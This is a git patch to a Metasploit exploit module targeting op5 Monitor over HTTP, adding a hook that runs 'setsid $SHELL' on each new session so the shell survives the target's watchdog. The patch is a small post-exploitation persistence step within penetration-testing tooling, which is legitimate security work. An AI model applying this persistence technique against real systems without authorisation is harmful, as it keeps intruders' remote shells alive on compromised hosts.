From ea988eaa725fa22549c4b788b63ee0a399006377 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 16 Jun 2016 11:31:35 -0500
Subject: [PATCH] Add setsid to persist the shell

Prevents the watchdog from killing our session.
---
 modules/exploits/linux/http/op5_config_exec.rb | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/modules/exploits/linux/http/op5_config_exec.rb b/modules/exploits/linux/http/op5_config_exec.rb
index 4db1754e47..0bd756b76c 100644
--- a/modules/exploits/linux/http/op5_config_exec.rb
+++ b/modules/exploits/linux/http/op5_config_exec.rb
@@ -124,4 +124,9 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
     end
   end
+
+  def on_new_session(session)
+    super
+    session.shell_command_token('setsid $SHELL')
+  end
 end